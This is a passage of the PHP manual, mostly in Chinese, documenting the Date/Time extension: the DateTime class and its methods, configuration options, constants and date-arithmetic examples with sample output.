    • DateTime::__set_state — __set_state 处理程序
    • DateTime::setDate — 设置日期
    • DateTime::setISODate — 设置 ISO 日期
    • DateTime::setTime — 设置时间
    • DateTime::setTimestamp — 以 Unix 时间戳的方式设置日期和时间
    • DateTime::setTimezone — 设置 DateTime 对象的时区
    • DateTime::sub — 对 DateTime 对象减去一定量的日、月、年、小时、分钟和秒。
  • DateTimeImmutable — The DateTimeImmutable class
    • DateTimeImmutable::add — Returns a new object, with added amount of days, months, years, hours, minutes and seconds
    • DateTimeImmutable::__construct — Returns new DateTimeImmutable object
    • DateTimeImmutable::createFromFormat — Parses a time string according to a specified format
    • DateTimeImmutable::createFromInterface — Returns new DateTimeImmutable object encapsulating the given DateTimeInterface object
    • DateTimeImmutable::createFromMutable — Returns new DateTimeImmutable instance encapsulating the given DateTime object
    • DateTimeImmutable::getLastErrors — Returns the warnings and errors
    • DateTimeImmutable::modify — Creates a new object with modified timestamp
    • DateTimeImmutable::__set_state — The __set_state handler
    • DateTimeImmutable::setDate — Sets the date
    • DateTimeImmutable::setISODate — Sets the ISO date
    • DateTimeImmutable::setTime — Sets the time
    • DateTimeImmutable::setTimestamp — Sets the date and time based on a Unix timestamp
    • DateTimeImmutable::setTimezone — Sets the time zone
    • DateTimeImmutable::sub — Subtracts an amount of days, months, years, hours, minutes and seconds
  • DateTimeInterface — The DateTimeInterface interface
    • DateTimeInterface::diff — 返回两个 DateTime 之间的差值
    • DateTimeInterface::format — 按照指定格式返回格式化后的日期
    • DateTimeInterface::getOffset — 返回时差
    • DateTimeInterface::getTimestamp — 获取 Unix 时间戳
    • DateTimeInterface::getTimezone — 返回相对于指定 DateTime 的时区
    • DateTime::__wakeup — The __wakeup handler
  • DateTimeZone — DateTimeZone 类
    • DateTimeZone::__construct — 创建新的DateTimeZone对象
    • DateTimeZone::getLocation — 返回与时区相关的定位信息
    • DateTimeZone::getName — 返回时区名称
    • DateTimeZone::getOffset — 返回相对于 GMT 的时差
    • DateTimeZone::getTransitions — Returns all transitions for the timezone
    • DateTimeZone::listAbbreviations — 返回一个包含 dst (夏令时)，时差和时区信息的关联数组。
    • DateTimeZone::listIdentifiers — 返回包含了所有时区标识符的数字索引数组
  • DateInterval — DateInterval 类
    • DateInterval::__construct — Creates a new DateInterval object
    • DateInterval::createFromDateString — Sets up a DateInterval from the relative parts of the string
    • DateInterval::format — Formats the interval
  • DatePeriod — DatePeriod 类
    • DatePeriod::__construct — Creates a new DatePeriod object
    • DatePeriod::createFromISO8601String — Creates a new DatePeriod object from an ISO8601 string
    • DatePeriod::getDateInterval — Gets the interval
    • DatePeriod::getEndDate — Gets the end date
    • DatePeriod::getRecurrences — Gets the number of recurrences
    • DatePeriod::getStartDate — Gets the start date
  • Date/Time 函数
    • checkdate — 验证一个格里高里日期
    • date_add — 别名 DateTime::add
    • date_create_from_format — 别名 DateTime::createFromFormat
    • date_create_immutable_from_format — 别名 DateTimeImmutable::createFromFormat
    • date_create_immutable — create a new DateTimeImmutable object
    • date_create — create a new DateTime object
    • date_date_set — 别名 DateTime::setDate
    • date_default_timezone_get — 取得脚本中所有日期/时间函数所使用的默认时区
    • date_default_timezone_set — 设置脚本中所有日期/时间函数使用的默认时区
    • date_diff — 别名 DateTime::diff
    • date_format — 别名 DateTime::format
    • date_get_last_errors — 别名 DateTimeImmutable::getLastErrors
    • date_interval_create_from_date_string — 别名 DateInterval::createFromDateString
    • date_interval_format — 别名 DateInterval::format
    • date_isodate_set — 别名 DateTime::setISODate
    • date_modify — 别名 DateTime::modify
    • date_offset_get — 别名 DateTime::getOffset
    • date_parse_from_format — Get info about given date formatted according to the specified format
    • date_parse — 返回指定日期/时间的详细信息的关联数组
    • date_sub — 别名 DateTime::sub
    • date_sun_info — Returns an array with information about sunset/sunrise and twilight begin/end
    • date_sunrise — 返回给定的日期与地点的日出时间
    • date_sunset — 返回给定的日期与地点的日落时间
    • date_time_set — 别名 DateTime::setTime
    • date_timestamp_get — 别名 DateTime::getTimestamp
    • date_timestamp_set — 别名 DateTime::setTimestamp
    • date_timezone_get — 别名 DateTime::getTimezone
    • date_timezone_set — 别名 DateTime::setTimezone
    • date — 格式化 Unix 时间戳
    • getdate — 获取日期/时间信息
    • gettimeofday — 取得当前时间
    • gmdate — 格式化 GMT/UTC 日期／时间
    • gmmktime — 取得 GMT 日期的 UNIX 时间戳
    • gmstrftime — 根据区域设置格式化 GMT/UTC 时间/日期
    • idate — 将本地日期/时间格式化为整数
    • localtime — 取得本地时间
    • microtime — 返回当前 Unix 时间戳和微秒数
    • mktime — 取得一个日期的 Unix 时间戳
    • strftime — 根据区域设置格式化本地时间/日期
    • strptime — 解析由 strftime 生成的日期／时间
    • strtotime — 将任何英文文本日期时间描述解析为 Unix 时间戳
    • time — 返回当前的 Unix 时间戳
    • timezone_abbreviations_list — 别名 DateTimeZone::listAbbreviations
    • timezone_identifiers_list — 别名 DateTimeZone::listIdentifiers
    • timezone_location_get — 别名 DateTimeZone::getLocation
    • timezone_name_from_abbr — Returns a timezone name by guessing from abbreviation and UTC offset
    • timezone_name_get — 别名 DateTimeZone::getName
    • timezone_offset_get — 别名 DateTimeZone::getOffset
    • timezone_open — 别名 DateTimeZone::__construct
    • timezone_transitions_get — 别名 DateTimeZone::getTransitions
    • timezone_version_get — 获取 timezonedb 版本
  • 日期/时间 Error 和 Exception
  • Supported Date and Time Formats
  • 所支持的时区列表
    • 非洲
    • 美洲
    • 南极洲
    • 北极
    • 亚洲
    • 大西洋
    • 澳洲
    • 欧洲
    • 印度
    • 太平洋地区
    • 其他
  • DateError — The DateError class
  • DateObjectError — The DateObjectError class
  • DateRangeError — The DateRangeError class
  • DateException — The DateException class
  • DateInvalidOperationException — The DateInvalidOperationException class
  • DateInvalidTimeZoneException — The DateInvalidTimeZoneException class
  • DateMalformedIntervalStringException — The DateMalformedIntervalStringException class
  • DateMalformedPeriodStringException — The DateMalformedPeriodStringException class
  • DateMalformedStringException — The DateMalformedStringException class

User Contributed Notes

There are no user contributed notes for this page.


简介

DateTimeImmutable 和关联类允许表示日期/时间信息。通过传递字符串表述的日期/时间信息或从当前系统时间来创建这些对象。

还提供了丰富的方法来修改和格式化这些信息，包括处理时区和 DST（夏令时）转换。

PHP 中的日期/时间功能实现了 ISO 8601 历法，这是» 前公历，实现了公历之前的当前闰日规则，并且还包括 0 年作为介于两者之间的年份——公元前 1 年和公元 1 年。不支持闰秒。

日期和时间信息在内部是以 64 位数字存储的，所以支持所有可能有用的日期（包括负数年份）。其范围覆盖当前时间前后 2920 亿年的时间。

Note: 本节中用到的时区可以从所支持的时区列表获取。

User Contributed Notes

There are no user contributed notes for this page.


安装

使用这些函数不需要安装，它们是 PHP 核心的一部分。

Note: 获取最新版的时区数据

可以通过安装 PECL 的 » timezonedb 获取最新的时区数据。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

日期/时间配置选项
名字 | 默认 | 可修改范围 | 更新日志
date.default_latitude | "31.7667" | PHP_INI_ALL |
date.default_longitude | "35.2333" | PHP_INI_ALL |
date.sunrise_zenith | "90.833333" | PHP_INI_ALL | 在 PHP 8.0.0 之前，默认值是"90.583333"
date.sunset_zenith | "90.833333" | PHP_INI_ALL | 在 PHP 8.0.0 之前，默认值是"90.583333"
date.timezone | "UTC" | PHP_INI_ALL | 自 PHP 8.2.0 起，将其设置为无效值或者空字符串时将发出警告。
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

date.default_latitude float

默认纬度范围从赤道的 0 到向北 +90 和向南 -90。

date.default_longitude float

默认经度范围从本初子午线的 0 到向东 +180 和向西 ?180。

date.sunrise_zenith float

日出时默认天顶。

默认值是 90°50'。额外的 50' 是因为两个部分：太阳半径（即 16'）及大气折射（即 34'）。

date.sunset_zenith float

日落时默认天顶。

date.timezone string

所有日期/时间函数使用的默认时区。date_default_timezone_get() 页面中描述了在没有明确提及时区的情况下使用时区的优先顺序。参见所支持的时区列表以获得支持的时区列表。

Note: 前四个配置选项目前仅用于 date_sunrise() 和 date_sunset()。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

已定义的 DATE_ 常量提供了一些标准的日期时间的表达，可以用在日期时间格式化的函数中（例如 date()）。

下列常量指定了 date_sunrise() 和 date_sunset() 函数返回的格式。

SUNFUNCS_RET_TIMESTAMP （int）
时间戳
SUNFUNCS_RET_STRING （int）
小时:分钟（例如：08:02）
SUNFUNCS_RET_DOUBLE （int）
浮点数表示的小时（例如：8.75）

User Contributed Notes

There are no user contributed notes for this page.


示例

Table of Contents

  • 日期/时间算法

User Contributed Notes

There are no user contributed notes for this page.


日期/时间算法

以下示例展示了有关 DST 转换和具有不同天数的月份的日期/时间算法的一些缺陷。

Example #1 DateTimeImmutable::add/sub 添加包含经过时间的间隔

在 DST 转换上添加 PT24H 似乎会增加 23/25 小时（大多数时区）。

<?php
$dt = new DateTimeImmutable("2015-11-01 00:00:00", new DateTimeZone("America/New_York"));
echo "Start: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
$dt = $dt->add(new DateInterval("PT3H"));
echo "End: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
?>

以上示例会输出：

Start: 2015-11-01 00:00:00 -04:00
End:   2015-11-01 02:00:00 -05:00

Example #2 DateTimeImmutable::modify 和 strtotime 递增/减单个组件值

在 DST 转换上添加 +24 小时将准确添加 24 小时，如日期/时间字符串中所示（除非开始/结束时间位于转换点）。

<?php
$dt = new DateTimeImmutable("2015-11-01 00:00:00", new DateTimeZone("America/New_York"));
echo "Start: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
$dt = $dt->modify("+24 hours");
echo "End: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
?>

以上示例会输出：

Start: 2015-11-01 00:00:00 -04:00
End:   2015-11-02 00:00:00 -05:00

Example #3 新增/减去时间可能会溢出/下溢日期

就像 1 月 31 日 + 1 月会导致 3 月 2 日（闰年）或 3 月 3 日（平年）。

<?php
echo "Normal year:\n"; // 2 月有 28 天
$dt = new DateTimeImmutable("2015-01-31 00:00:00", new DateTimeZone("America/New_York"));
echo "Start: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
$dt = $dt->modify("+1 month");
echo "End: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;

echo "Leap year:\n"; // 2 月有 29 天
$dt = new DateTimeImmutable("2016-01-31 00:00:00", new DateTimeZone("America/New_York"));
echo "Start: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
$dt = $dt->modify("+1 month");
echo "End: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
?>

以上示例会输出：

Normal year:
Start: 2015-01-31 00:00:00 -05:00
End:   2015-03-03 00:00:00 -05:00
Leap year:
Start: 2016-01-31 00:00:00 -05:00
End:   2016-03-02 00:00:00 -05:00

要获取下个月的最后一天（例如防止溢出），可以使用 last day of 格式。

<?php
echo "Normal year:\n"; // 2 月有 28 天
$dt = new DateTimeImmutable("2015-01-31 00:00:00", new DateTimeZone("America/New_York"));
echo "Start: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
$dt = $dt->modify("last day of next month");
echo "End: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;

echo "Leap year:\n"; // 2 月有 29 天
$dt = new DateTimeImmutable("2016-01-31 00:00:00", new DateTimeZone("America/New_York"));
echo "Start: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
$dt = $dt->modify("last day of next month");
echo "End: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
?>

以上示例会输出：

Normal year:
Start: 2015-01-31 00:00:00 -05:00
End:   2015-02-28 00:00:00 -05:00
Leap year:
Start: 2016-01-31 00:00:00 -05:00
End:   2016-02-29 00:00:00 -05:00

User Contributed Notes

There are no user contributed notes for this page.


DateTime 类

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

简介

日期和时间表示。

此类与 DateTimeImmutable 行为相同。区别就是调用有修改行为的方法（比如 DateTime::modify()）时，会修改对象本身。

Warning

在 DateTime 类的对象上调用方法会改变对象中封装的信息，如果想要避免这种情况，就得使用 clone 操作符创建新的对象。推荐使用 DateTimeImmutable 代替 DateTime 来获得这个默认行为。

类摘要

class DateTime implements DateTimeInterface {
/* 继承的常量 */
public const string DateTimeInterface::ATOM = "Y-m-d\\TH:i:sP";
public const string DateTimeInterface::COOKIE = "l, d-M-Y H:i:s T";
public const string DateTimeInterface::ISO8601 = "Y-m-d\\TH:i:sO";
public const string DateTimeInterface::ISO8601_EXPANDED = "X-m-d\\TH:i:sP";
public const string DateTimeInterface::RFC822 = "D, d M y H:i:s O";
public const string DateTimeInterface::RFC850 = "l, d-M-y H:i:s T";
public const string DateTimeInterface::RFC1036 = "D, d M y H:i:s O";
public const string DateTimeInterface::RFC1123 = "D, d M Y H:i:s O";
public const string DateTimeInterface::RFC7231 = "D, d M Y H:i:s \\G\\M\\T";
public const string DateTimeInterface::RFC2822 = "D, d M Y H:i:s O";
public const string DateTimeInterface::RFC3339 = "Y-m-d\\TH:i:sP";
public const string DateTimeInterface::RFC3339_EXTENDED = "Y-m-d\\TH:i:s.vP";
public const string DateTimeInterface::RSS = "D, d M Y H:i:s O";
public const string DateTimeInterface::W3C = "Y-m-d\\TH:i:sP";
/* 方法 */
public __construct(string $datetime = "now", ?DateTimeZone $timezone = null)
public add(DateInterval $interval): DateTime
public static createFromFormat(string $format, string $datetime, ?DateTimeZone $timezone = null): DateTime|false
public static createFromImmutable(DateTimeImmutable $object): static
public static createFromInterface(DateTimeInterface $object): DateTime
public modify(string $modifier): DateTime|false
public static __set_state(array $array): DateTime
public setDate(int $year, int $month, int $day): DateTime
public setISODate(int $year, int $week, int $dayOfWeek = 1): DateTime
public setTime(
int $hour,
int $minute,
int $second = 0,
int $microsecond = 0
): DateTime
public setTimestamp(int $timestamp): DateTime
public setTimezone(DateTimeZone $timezone): DateTime
public sub(DateInterval $interval): DateTime
public diff(DateTimeInterface $targetObject, bool $absolute = false): DateInterval
public format(string $format): string
public getOffset(): int
public getTimestamp(): int
public getTimezone(): DateTimeZone|false
public __wakeup(): void
}

更新日志

版本 | 说明
7.2.0 | DateTime 的类常量现在定义在 DateTimeInterface 上。
7.1.0 | 现在 DateTime 构造器在构造值中包含了当前微秒。在此之前，微秒会一直初始化为 0。

Table of Contents

  • DateTime::add — 修改 DateTime 对象，增加天、月、年、小时、分钟以及秒的数量。
  • DateTime::__construct — 返回新的 DateTime 对象
  • DateTime::createFromFormat — 根据指定格式解析时间字符串
  • DateTime::createFromImmutable — Returns new DateTime instance encapsulating the given DateTimeImmutable object
  • DateTime::createFromInterface — Returns new DateTime object encapsulating the given DateTimeInterface object
  • DateTime::getLastErrors — 别名 DateTimeImmutable::getLastErrors
  • DateTime::modify — 修改日期时间对象的值
  • DateTime::__set_state — __set_state 处理程序
  • DateTime::setDate — 设置日期
  • DateTime::setISODate — 设置 ISO 日期
  • DateTime::setTime — 设置时间
  • DateTime::setTimestamp — 以 Unix 时间戳的方式设置日期和时间
  • DateTime::setTimezone — 设置 DateTime 对象的时区
  • DateTime::sub — 对 DateTime 对象减去一定量的日、月、年、小时、分钟和秒。

User Contributed Notes

szwaymi 21-Dec-2022 02:21
A simple example to create the date time object by now with time zone

$Now = new DateTime('now', new DateTimeZone('Asia/Taipei'));

A simple example to print data time with format

echo  $Now->format('Y-m-d H:i:s');


修改 DateTime 对象，增加天、月、年、小时、分钟以及秒的数量。

  • ? DateTime
  • DateTime::__construct ?
  • PHP Manual
  • DateTime
  • 修改 DateTime 对象，增加天、月、年、小时、分钟以及秒的数量。

DateTime::add

date_add

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTime::add -- date_add — 修改 DateTime 对象，增加天、月、年、小时、分钟以及秒的数量。

说明

面向对象风格

public DateTime::add(DateInterval $interval): DateTime

过程化风格

date_add(DateTime $object, DateInterval $interval): DateTime

将指定的 DateInterval 对象到 DateTime 对象。

跟 DateTimeImmutable::add()一样，但适用于 DateTime。

过程化版本将 DateTime 对象作为它的第一个参数。

参数

object

仅过程化风格：由 date_create() 返回的 DateTime 类型的对象。此函数会修改这个对象。

interval

DateInterval 对象。

返回值

返回方法链修改后的 DateTime 对象。

参见

  • DateTimeImmutable::add() - Returns a new object, with added amount of days, months, years, hours, minutes and seconds

User Contributed Notes

There are no user contributed notes for this page.


返回新的 DateTime 对象

  • ? DateTime::add
  • DateTime::createFromFormat ?
  • PHP Manual
  • DateTime
  • 返回新的 DateTime 对象

DateTime::__construct

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTime::__construct — 返回新的 DateTime 对象

说明

public DateTime::__construct(string $datetime = "now", ?DateTimeZone $timezone = null)

跟 DateTimeImmutable::__construct() 一样，但适用于 DateTime。Consider using the DateTimeImmutable and features instead.

返回新的 DateTime 对象。

参数

datetime

日期/时间字符串。正确格式的说明详见 日期与时间格式。

如果这个参数为字符串 "now" 表示获取当前时间。 如果同时指定了 $timezone 参数，那么获取指定时区的当前时间。

timezone

DateTimeZone 对象表示 $datetime 的时区。

如果省略了 $timezone 参数或者传递 null， 那么会使用当前时区。

Note:

当 $datetime 参数是 UNIX 时间戳（例如 @946684800），或者已经包含时区信息（例如 2010-01-28T15:00:00+02:00）的时候，$timezone 参数和当前时区都将被忽略。

返回值

返回一个新的 DateTime 对象实例，或者在发生错误的时候返回

错误／异常

如果传递无效的日期/时间字符串，将会抛出 DateMalformedStringException，在 PHP 8.3 之前，将抛出 Exception。

更新日志

版本 | 说明
8.3.0 | 传递无效的字符串现在抛出 DateMalformedStringException 而不是 Exception。

参见

  • DateTimeImmutable::__construct() - Returns new DateTimeImmutable object

User Contributed Notes

There are no user contributed notes for this page.


根据指定格式解析时间字符串

  • ? DateTime::__construct
  • DateTime::createFromImmutable ?
  • PHP Manual
  • DateTime
  • 根据指定格式解析时间字符串

DateTime::createFromFormat

date_create_from_format

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTime::createFromFormat -- date_create_from_format — 根据指定格式解析时间字符串

说明

面向对象风格

public static DateTime::createFromFormat(string $format, string $datetime, ?DateTimeZone $timezone = null): DateTime|false

过程化风格

date_create_from_format(string $format, string $datetime, ?DateTimeZone $timezone = null): DateTime|false

返回新的 DateTime 对象，该对象是通过指定 format 将表示日期和时间的 datetime 格式化生成。

类似于 DateTimeImmutable::createFromFormat() 和 date_create_immutable_from_format()，但创建的是 DateTime 对象。

此方法（包括参数、示例和注意事项）记录在 DateTimeImmutable::createFromFormat 页面上。

参数

参阅 DateTimeImmutable::createFromFormat。

返回值

返回 DateTime 对象 或者在失败时返回 false。

错误／异常

当 datetime 包含 NULL 字节时，此方法抛出 ValueError。

更新日志

版本 | 说明
8.0.21、8.1.8、8.2.0 | 现在，当将 NULL 字节传递到 datetime 时，会引发 ValueError，而之前会默默忽略该错误。

示例

有关大量示例，请参阅 DateTimeImmutable::createFromFormat。

参见

  • DateTimeImmutable::createFromFormat() - Parses a time string according to a specified format

User Contributed Notes

Steven De Volder 20-Sep-2023 02:08
In the following code:
$t = microtime(true);
$now = DateTime::createFromFormat('U.u', $t);
$now = $now->format("H:i:s.v");

Trying to format() will return a fatal error if microtime(true) just so happened to return a float with all zeros as decimals. This is because DateTime::createFromFormat('U.u', $aFloatWithAllZeros) returns false.

Workaround (the while loop is for testing if the solution works):

$t = microtime(true);
$now = DateTime::createFromFormat('U.u', $t);
while (!is_bool($now)) {//for testing solution
    $t = microtime(true);
    $now = DateTime::createFromFormat('U.u', $t);
}
if (is_bool($now)) {//the problem
    $now = DateTime::createFromFormat('U', $t);//the solution
}
$now = $now->format("H:i:s.v");


Returns new DateTime instance encapsulating the given DateTimeImmutable object

  • ? DateTime::createFromFormat
  • DateTime::createFromInterface ?
  • PHP Manual
  • DateTime
  • Returns new DateTime instance encapsulating the given DateTimeImmutable object

DateTime::createFromImmutable

(PHP 7 >= 7.3.0, PHP 8)

DateTime::createFromImmutable — Returns new DateTime instance encapsulating the given DateTimeImmutable object

说明

public static DateTime::createFromImmutable(DateTimeImmutable $object): static

参数

object

The immutable DateTimeImmutable object that needs to be converted to a mutable version. This object is not modified, but instead a new DateTime instance is created containing the same date, time, and timezone information.

返回值

Returns a new DateTime instance.

更新日志

版本 | 说明
8.0.0 | The method returns an instance of the currently invoked class now. Previously, it created a new instance of DateTime.

示例

Example #1 Creating a mutable date time object

<?php
$date = new DateTimeImmutable("2014-06-20 11:45 Europe/London");

$mutable = DateTime::createFromImmutable( $date );
?>

User Contributed Notes

There are no user contributed notes for this page.


Returns new DateTime object encapsulating the given DateTimeInterface object

  • ? DateTime::createFromImmutable
  • DateTime::getLastErrors ?
  • PHP Manual
  • DateTime
  • Returns new DateTime object encapsulating the given DateTimeInterface object

DateTime::createFromInterface

(PHP 8)

DateTime::createFromInterface — Returns new DateTime object encapsulating the given DateTimeInterface object

说明

public static DateTime::createFromInterface(DateTimeInterface $object): DateTime

参数

object

The DateTimeInterface object that needs to be converted to a mutable version. This object is not modified, but instead a new DateTime object is created containing the same date, time, and timezone information.

返回值

Returns a new DateTime instance.

示例

Example #1 Creating a mutable date time object

<?php
$date = new DateTimeImmutable("2014-06-20 11:45 Europe/London");

$mutable = DateTime::createFromInterface($date);

$date = new DateTime("2014-06-20 11:45 Europe/London");
$also_mutable = DateTime::createFromInterface($date);
?>

User Contributed Notes

There are no user contributed notes for this page.


别名 DateTimeImmutable::getLastErrors

  • ? DateTime::createFromInterface
  • DateTime::modify ?
  • PHP Manual
  • DateTime
  • 别名 DateTimeImmutable::getLastErrors

DateTime::getLastErrors

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTime::getLastErrors — 别名 DateTimeImmutable::getLastErrors()

说明

此函数是该函数的别名： DateTimeImmutable::getLastErrors()

User Contributed Notes

There are no user contributed notes for this page.


修改日期时间对象的值

  • ? DateTime::getLastErrors
  • DateTime::__set_state ?
  • PHP Manual
  • DateTime
  • 修改日期时间对象的值

DateTime::modify

date_modify

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTime::modify -- date_modify — 修改日期时间对象的值

说明

面向对象风格

public DateTime::modify(string $modifier): DateTime|false

过程化风格

date_modify(DateTime $object, string $modifier): DateTime|false

通过 DateTimeImmutable::__construct() 能够接受的格式，对 Datetime 对象的时间戳进行修改（自增或者自减）。

参数

object

仅过程化风格：由 date_create() 返回的 DateTime 类型的对象。此函数会修改这个对象。

modifier

日期/时间字符串。正确格式的说明详见 日期与时间格式。

返回值

返回方法链修改后的 DateTime 对象， 或者在失败时返回 false。

错误／异常

仅限于面向对象的 API：如果传递了无效的日期/时间字符串，将抛出 DateMalformedStringException。

更新日志

版本 | 说明
8.3.0 | 现在如果传递了无效的字符串，DateTime::modify() 将抛出 DateMalformedStringException 而不是警告。date_modify() 尚未更改。

示例

Example #1 DateTime::modify() 示例

面向对象风格

<?php
$date = new DateTime('2006-12-12');
$date->modify('+1 day');
echo $date->format('Y-m-d');
?>

过程化风格

<?php
$date = date_create('2006-12-12');
date_modify($date, '+1 day');
echo date_format($date, 'Y-m-d');
?>

以上示例会输出：

2006-12-13

Example #2 增加或者减少月份的时候需要当心

<?php
$date = new DateTime('2000-12-31');

$date->modify('+1 month');
echo $date->format('Y-m-d') . "\n";

$date->modify('+1 month');
echo $date->format('Y-m-d') . "\n";
?>

以上示例会输出：

2001-01-31
2001-03-03

Example #3 支持所有日期和时间格式

<?php
$date = new DateTime('2020-12-31');

$date->modify('July 1st, 2023');
echo $date->format('Y-m-d H:i') . "\n";

$date->modify('Monday next week');
echo $date->format('Y-m-d H:i') . "\n";

$date->modify('17:30');
echo $date->format('Y-m-d H:i') . "\n";
?>

以上示例会输出：

2023-07-01 00:00
2023-07-03 00:00
2023-07-03 17:30

参见

  • strtotime() - 将任何英文文本日期时间描述解析为 Unix 时间戳
  • DateTimeImmutable::modify() - Creates a new object with modified timestamp
  • DateTime::add() - 修改 DateTime 对象，增加天、月、年、小时、分钟以及秒的数量。
  • DateTime::sub() - 对 DateTime 对象减去一定量的日、月、年、小时、分钟和秒。
  • DateTime::setDate() - 设置日期
  • DateTime::setISODate() - 设置 ISO 日期
  • DateTime::setTime() - 设置时间
  • DateTime::setTimestamp() - 以 Unix 时间戳的方式设置日期和时间

User Contributed Notes

There are no user contributed notes for this page.


__set_state 处理程序

  • ? DateTime::modify
  • DateTime::setDate ?
  • PHP Manual
  • DateTime
  • __set_state 处理程序

DateTime::__set_state

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTime::__set_state — __set_state 处理程序

说明

public static DateTime::__set_state(array $array): DateTime

__set_state() 处理程序。

跟 DateTimeImmutable::__set_state() 一样，但适用于 DateTime。

参数

array

数组初始化。

返回值

返回 DateTime 对象实例。

User Contributed Notes

There are no user contributed notes for this page.


设置日期

  • ? DateTime::__set_state
  • DateTime::setISODate ?
  • PHP Manual
  • DateTime
  • 设置日期

DateTime::setDate

date_date_set

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTime::setDate -- date_date_set — 设置日期

说明

面向对象风格

public DateTime::setDate(int $year, int $month, int $day): DateTime

过程化风格

date_date_set(
DateTime $object,
int $year,
int $month,
int $day
): DateTime

将 DateTime 对象的当前日期重置为其它日期。

跟 DateTimeImmutable::setDate() 一样，但适用于 DateTime，且更改现有对象。

过程化版本将 DateTime 对象作为第一个参数。

参数

object

仅过程化风格：由 date_create() 返回的 DateTime 类型的对象。此函数会修改这个对象。

year

年份。

month

月份。

day

日。

返回值

返回方法链修改后的 DateTime 对象。

参见

  • DateTimeImmutable::setDate() - Sets the date

User Contributed Notes

There are no user contributed notes for this page.


设置 ISO 日期

  • ? DateTime::setDate
  • DateTime::setTime ?
  • PHP Manual
  • DateTime
  • 设置 ISO 日期

DateTime::setISODate

date_isodate_set

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTime::setISODate -- date_isodate_set — 设置 ISO 日期

说明

面向对象风格

public DateTime::setISODate(int $year, int $week, int $dayOfWeek = 1): DateTime

过程化风格

date_isodate_set(
DateTime $object,
int $year,
int $week,
int $dayOfWeek = 1
): DateTime

根据 ISO 8601 规范设置日期，使用周和日的偏移量，而不是使用指定日期。

跟 DateTimeImmutable::setISODate() 一样，但适用于 DateTime。

过程化版本将 DateTime 对象作为第一个参数。

参数

object

仅过程化风格：由 date_create() 返回的 DateTime 类型的对象。此函数会修改这个对象。

year

年份。

week

周。

dayOfWeek

从周的第一天计算，日在一周内的偏移量。

返回值

返回方法链修改后的 DateTime 对象。

参见

  • DateTimeImmutable::setISODate() - Sets the ISO date

User Contributed Notes

There are no user contributed notes for this page.


设置时间

  • ? DateTime::setISODate
  • DateTime::setTimestamp ?
  • PHP Manual
  • DateTime
  • 设置时间

DateTime::setTime

date_time_set

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTime::setTime -- date_time_set — 设置时间

说明

面向对象风格

public DateTime::setTime(
int $hour,
int $minute,
int $second = 0,
int $microsecond = 0
): DateTime

过程化风格

date_time_set(
DateTime $object,
int $hour,
int $minute,
int $second = 0,
int $microsecond = 0
): DateTime

将 DateTime 的当前时间重置为不同的时间。

跟 DateTimeImmutable::setTime() 一样，但适用于 DateTime。

过程化版本将 DateTime 对象作为第一个参数。

参数

object

仅过程化风格：由 date_create() 返回的 DateTime 类型的对象。此函数会修改这个对象。

hour

时间中的小时。

minute

时间中的分钟。

second

时间中的秒。

microsecond

时间中的微秒。

返回值

返回方法链修改后的 DateTime 对象。

更新日志

版本 | 说明
8.1.0 | The behaviour with double existing hours (during the fall-back DST transition) changed. Previously PHP would pick the second occurrence (after the DST transition), instead of the first occurrence (before DST transition).
7.1.0 | 新增 microsecond 参数。

参见

  • DateTimeImmutable::setTime() - Sets the time

User Contributed Notes

There are no user contributed notes for this page.


以 Unix 时间戳的方式设置日期和时间

  • ? DateTime::setTime
  • DateTime::setTimezone ?
  • PHP Manual
  • DateTime
  • 以 Unix 时间戳的方式设置日期和时间

DateTime::setTimestamp

date_timestamp_set

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTime::setTimestamp -- date_timestamp_set — 以 Unix 时间戳的方式设置日期和时间

说明

面向对象风格

public DateTime::setTimestamp(int $timestamp): DateTime

过程化风格

date_timestamp_set(DateTime $object, int $timestamp): DateTime

以 Unix 时间戳的方式设置日期和时间。

跟 DateTimeImmutable::setTimestamp() 一样，但适用于 DateTime。

过程化版本将 DateTime 对象作为第一个参数。

参数

object

仅过程化风格：由 date_create() 返回的 DateTime 类型的对象。此函数会修改这个对象。

timestamp

代表日期的 Unix 时间戳。DateTimeImmutable::modify() 使用 @ 格式可以设置范围超过 int 的时间戳。

返回值

返回方法链修改后的 DateTime 对象。

参见

  • DateTimeImmutable::setTimestamp() - Sets the date and time based on a Unix timestamp

User Contributed Notes

There are no user contributed notes for this page.


设置 DateTime 对象的时区

  • ? DateTime::setTimestamp
  • DateTime::sub ?
  • PHP Manual
  • DateTime
  • 设置 DateTime 对象的时区

DateTime::setTimezone

date_timezone_set

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTime::setTimezone -- date_timezone_set — 设置 DateTime 对象的时区

说明

面向对象风格

public DateTime::setTimezone(DateTimeZone $timezone): DateTime

过程化风格

date_timezone_set(DateTime $object, DateTimeZone $timezone): DateTime

为 DateTime object 设置新时区。

跟 DateTimeImmutable::setTimezone() 一样，但适用于 DateTime。

过程化版本将 DateTime 对象作为第一个参数。

参数

object

仅过程化风格：由 date_create() 返回的 DateTime 类型的对象。此函数会修改这个对象。

timezone

代表所需时区的 DateTimeZone 对象。

返回值

返回链式调用的 DateTime 对象。调用此方法时，底层的时间点不会更改。

示例

Example #1 DateTime::setTimeZone() 示例
